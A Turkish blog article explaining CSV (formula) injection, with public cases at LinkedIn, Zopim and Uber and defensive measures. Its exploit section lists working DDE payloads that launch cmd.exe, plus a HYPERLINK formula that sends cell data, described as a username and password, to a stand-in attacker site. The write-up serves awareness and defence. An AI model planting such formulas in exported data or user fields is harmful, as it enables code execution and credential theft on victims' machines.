CSV Injection Nedir?

Emre Iyidogan - 06 Eylül 2016 -

Formula Injection (Formül Enjeksiyonu) ya da Excel Macro Injection olarak da bilinen CSV Injection zafiyeti ilk defa 2014 yılında keşfedilmiştir. Microsoft Office Excel, Libre Office Calc ve Open Office Calc gibi elektronik çizelge programlarındaki formüller kullanılarak kullanıcıların bilgisayarlarında zararlı kod çalıştırılmasına neden olan bir açıktır.

CSV Injection Nedir?

Formula Injection ya da Excel Macro Injection olarak da bilinen CSV Injection zafiyeti ilk defa 2014 yılında keşfedilmiştir. Microsoft Office Excel, Libre Office Calc ve Open Office Calc gibi elektronik çizelge programlarındaki formüller kullanılarak kullanıcıların bilgisayarlarında zararlı kod çalıştırılmasına neden olan bir açıktır.

Birçok web uygulaması, kullanıcılar tarafından, bazı verilerin .csv ya da .xls dosya formatında indirilmesine izin vermektedir. Bu veriler bazen bir e-faturada yer alan ödeme bilgileri bazen de bir blog sitesinde tutulan yazılar olabilmektedir. Örneğin zafiyeti barındıran bir ders tablosu uygulaması, text input’u vasıtasıyla aldığı isme göre bir öğretmenin verdiği dersleri .csv olarak “export” (ihraç) ediyor olsun.

CSV Injection Nedir

Öğretmen adının yazılması istenen girdiye aşağıdaki gibi bir payload yazılırsa sonuç olarak, indirilen .csv dosyasındaki “Öğretmen Adı” hücrelerine söz konusu formül eklenmiş olacaktır. Buna ek olarak zafiyetin kullanımının, örnekteki =KÖPRÜ (=HYPERLINK) formülüyle sınırlı olmadığı bilinmelidir. Excel formüllerinin dışında komut istemcisi (cmd.exe) üzerinden zararlı kod çalıştırmak da mümkündür. Ki zafiyeti büyük oranda ön plana çıkaran kodlar, bu tür kodlardır.

CSV Injection Nedir-2

Zafiyet Nerede ve Nasıl Oluşur?

Öncelikle belirtmek gerekir ki CSV Injection açığı Microsoft Office Excel ya da diğer hesap çizelgesi programlarında oluşan bir açık değildir. Açığın oluştuğu alanlar web uygulamalarında yer alır. Web uygulamasındaki input alanına girilen karakterlerin filtrelenmemesi ya da escape edilmemesi sonucu girilen komut, bir formül olarak .csv dosyası içindeki yerini alır. Kullanıcının dosyayı açmasıyla birlikte enjekte edilmiş olan string ifade çalışır. Microsoft Excel, dosya açılırken iki uyarı verir.

CSV Injection, Web Uygulamasında Oluşmasına Rağmen Excel’de Sonuç Verir

CSV Injection Nedir-3 CSV Injection Nedir-4

Yukarıdaki uyarılarda, dosyanın içerisinde çalışmaya hazır bir makronun varlığından bahsedilmektedir. Görüldüğü üzere cmd.exe’nin çalıştırılmaya zorlandığı bir kod parçası hakkında, doğal olarak, sorumluluğu kullanıcıya yükleyen iki uyarı mevcuttur. Bu uyarılara rağmen dosyanın açılmasına devam edildiğinde aşağıda gösterildiği gibi zararlı kod çalışır. Bu örnekte en yaygınlarından biri olan “hesap makinesi” payload’u kullanılmıştır:

=cmd|' /C calc'!A0

Kullanıcının isteği dışında (uyarılara rağmen onay verilmesini saymazsak) meydana gelen bu işlem sonucunda cmd.exe kullanılarak Windows’un kendi “hesap makinesi” programı çalışır.

CSV Injection Nedir-5

Libre Office ve Open Office programlarında Excel’den farklı olarak kullanıcıyı bir açılış ekranı karşılar. 1. adımda gösterildiği üzere bu ekranda dosyanın içeriği görülebilmektedir. Dolayısıyla var olan makrolar da dosya açılmadan görüntülenebilir.

CSV Injection Nedir-6

Libre Office’de bağlantının çalışması için 2. adımda verilen uyarıya göre; linke CTRL ile beraber tıklanmalıdır. Tıklanan bağlantının ortaya koyduğu sonuç 3. adımda görülebilir.

Sonuç olarak hesap çizelgesi programları gerekli düzeyde uyarılarla kullanıcıyı bilgilendirmektedir. Her ne kadar zararlı kodun ortaya koyduğu sonuç bu programlar vesilesiyle meydana gelse de açığın kaynağı yukarıda da belirtildiği üzere web uygulamalarıdır.

CSV Injection Bir Zafiyet Midir?

CSV Injection açığıyla alakalı diğer bir husus da açık kabul edilip edilmemesiyle alakalıdır. Örneğin Google, kendi ürünlerinde CSV Injection bulunması halinde bug bounty kapsamında değerlendirilmeyeceğini belirtmiştir. Yani herhangi bir Google ürününde CSV Injection bulursanız bir ödül ya da isminize özel bir teşekkür beklemeyin.

Google, CSV’nin bir text dosyası olduğunu, bulundurdukları formüllerin işlevlerinin yan etkiden ziyade normal bir davranıştan ibaret olduğunu ve bunun bir zafiyet anlamına gelmeyeceğini söylemektedir. CSV Injection’dan doğan zararların ancak ve ancak Microsoft Excel gibi hesap çizelgesi programları tarafından engellenmesi (kullanıcının uyarılması gibi) gerektiğini savunmaktadır. Google’nin söylemine göre CSV Injection hakkında yapılabilecek olan düzeltmelerin, dosyanın oluşturulması sırasında (web uygulamasında) değil açılması esnasında olması gerekir.

Öte yandan OWASP, CSV Injection’dan kullanıcının güvenini suistimal eden bir zafiyet olarak bahseder. Her şeye rağmen CSV Injection’un kullanıcılar açısından risk meydana getirebilecek bir durum olduğunu unutmamak gerekir. İster web uygulamasında ister hesap çizelgesi programında önlem alınmamış olsun, nihayetinde CSV dosyasının barındırdığı zararlı kod kullanıcılar için tehlike arz edebilmektedir.

Bazı Exploitler

=cmd|' /C calc'!A0

Daha önce de bahsedildiği üzere bu payload, kullanıcının bilgisayarında “hesap makinesi” açmaya yarar. PoC için kullanılan en yaygın string ifadedir. Anlaşılacağı üzere “=” (eşittir) işareti hesap çizelgesi programlarının stringleri formül olarak algılamasına yardımcı olur. Daha sonra gelen “cmd” ifadesi görüldüğü gibi cmd.exe’yi başlatır. Ardından gelen “/C calc” ifadesi hesap makinesi programını çalıştırır.

=cmd|' /C start iexplore google.com.tr'!A0

Bu payload, cmd.exe yoluyla Internet Explorer’i açacak ve tarayıcıyı google.com.tr adresine ulaştıracak.

=HYPERLINK("http://ornek.com/zararli.php?al="&A1&B1;"Tıklayın!")

Bu string, enjekte edildiği hücrede karşımıza “Tıklayın!” yazısıyla çıkar. Hyperlink olmasından dolayı hücreye tıkladığımızda tarayıcıyı açıp bizi ornek.com’a götürür. Bununla birlikte A1 ve B1 hücrelerindeki verileri parametre değeri olarak alır. Örneğin A ve B sütunlarında kullanıcı adı ve parola değerleri saklanıyorsa oluşacak örnek bir bağlantı şu şekilde olacaktır: http://ornek.com/zararli.php?al=admin12345

=KÖPRÜ("http://example.com";"Tıklayın")

HYPERLINK formülüyle aynı olup sadece hesap çizelgesi programlarının Türkçe olarak kullanılmasının sonucunda ortaya çıkar. Çünkü Türkçe programlarda formüller de Türkçe olarak yer almaktadır. Burada herhangi bir hücreden değer almamıştır. Sadece bağlantıyı ve bağlantıyı temsil eden yazıyı görmekteyiz.

=NOTEPAD|' a.txt'!A0

Notepad ile “a.txt” adında bir text dosyası açar.

=MSPAINT|'C:\Users\Emre\Desktop\1.png'!A0

Paint vasıtasıyla Masaüstü’nde bulunan “1.png” adlı resim dosyasının açılması sağlanır.

CSV Injection Örnekleri

Linkedin

Adreste belirtildiğine göre Nisan 2016’da LinkedIn’de bir CSV Injection zafiyeti keşfedilmiştir. Senaryoya göre bir saldırgan üye olur ve birden fazla bağlantı ekler. Sonra kendi profil alanlarından birine zararlı kodu yerleştirir. Saldırganın profil bağlantılarında yer alan diğer kullanıcılar, bağlantılarını CSV dosyası olarak export etmek istediklerinde saldırganın eklemiş olduğu zararlı koda maruz kalmış olurlar.

Zopim

Eylül 2015’te bulunan açıktan yararlanmak için saldırgan =AND(2>1) isminde bir sahte hesap açar. Bir takım üyesi CSV olarak export işlemi yapmak istediğinde =AND(2>1) payload’unun TRUE olarak karşısına çıktığını görür. Ki bu zafiyetin var olduğunu kanıtlar. Aynı açık, Zendesk’te de bulunmuştur.

business.uber.com

Aktarılan bilgiye göre business.uber.com isimlerin “=” karakteriyle başlamasına izin vermekteydi. Ki bu da isimlerin dahil olduğu bir CSV dosyasının zararlı kodu çalıştırabileceği anlamına gelir. Bağlantıda verilen bilgiye göre 25 Mart 2016’da açık bildirilmiş, 28 Mart'ta işleme alınmış ve 30 Mart’ta açık fixlenmiş. Ayrıca 6 Nisan’da açığı bulan kişi 1000 dolar ile ödüllendirilmiş.

CSV Injection’dan Korunmak

  • Alınacak en genel önlem girdilere sadece alfanümerik karakterler girişine izin vermek olacaktır. Mümkün değilse, formülü çalıştıran “=, +, -“ karakterlerinin veritabanına kaydedilmesinden önce başına bir kesme işareti (‘) eklenmelidir. Bu karakterin eklenmesi Microsoft Excel gibi programlarda “=” karakteriyle başlayan formüllerin temizlenmesini sağlar. Yani ‘=cmd|’/C calc’!A0 payload’u çalışmayacak ve tek tırnaktan sonraki kısım olduğu gibi görüntülenecektir. Koruma sağlayacak diğer bir karakter eklemesi de pipe (|) karakterinden hemen önce ters slash (\) ile mümkündür. Yani =cmd\|' /C calc'!A0 stringi cmd\.exe olarak algılanacak ve çalışması engellenecektir.
  • Hesap tablosu programlarının verdiği uyarılar dikkate alınmalı ve makrolar çalıştırılmamalı. Microsoft Excel’de önce genel olarak makronun çalışması hakkında sonrasında makronun içerdiği komutla alakalı olarak iki uyarı gösterilmektedir. Libre Office Calc ve Open Office Calc’ta ise CSV dosyasının içeriğini gösteren bir ekran karşımıza çıkmaktadır. Dolayısıyla dosyanın analizi iyi yapılmalıdır.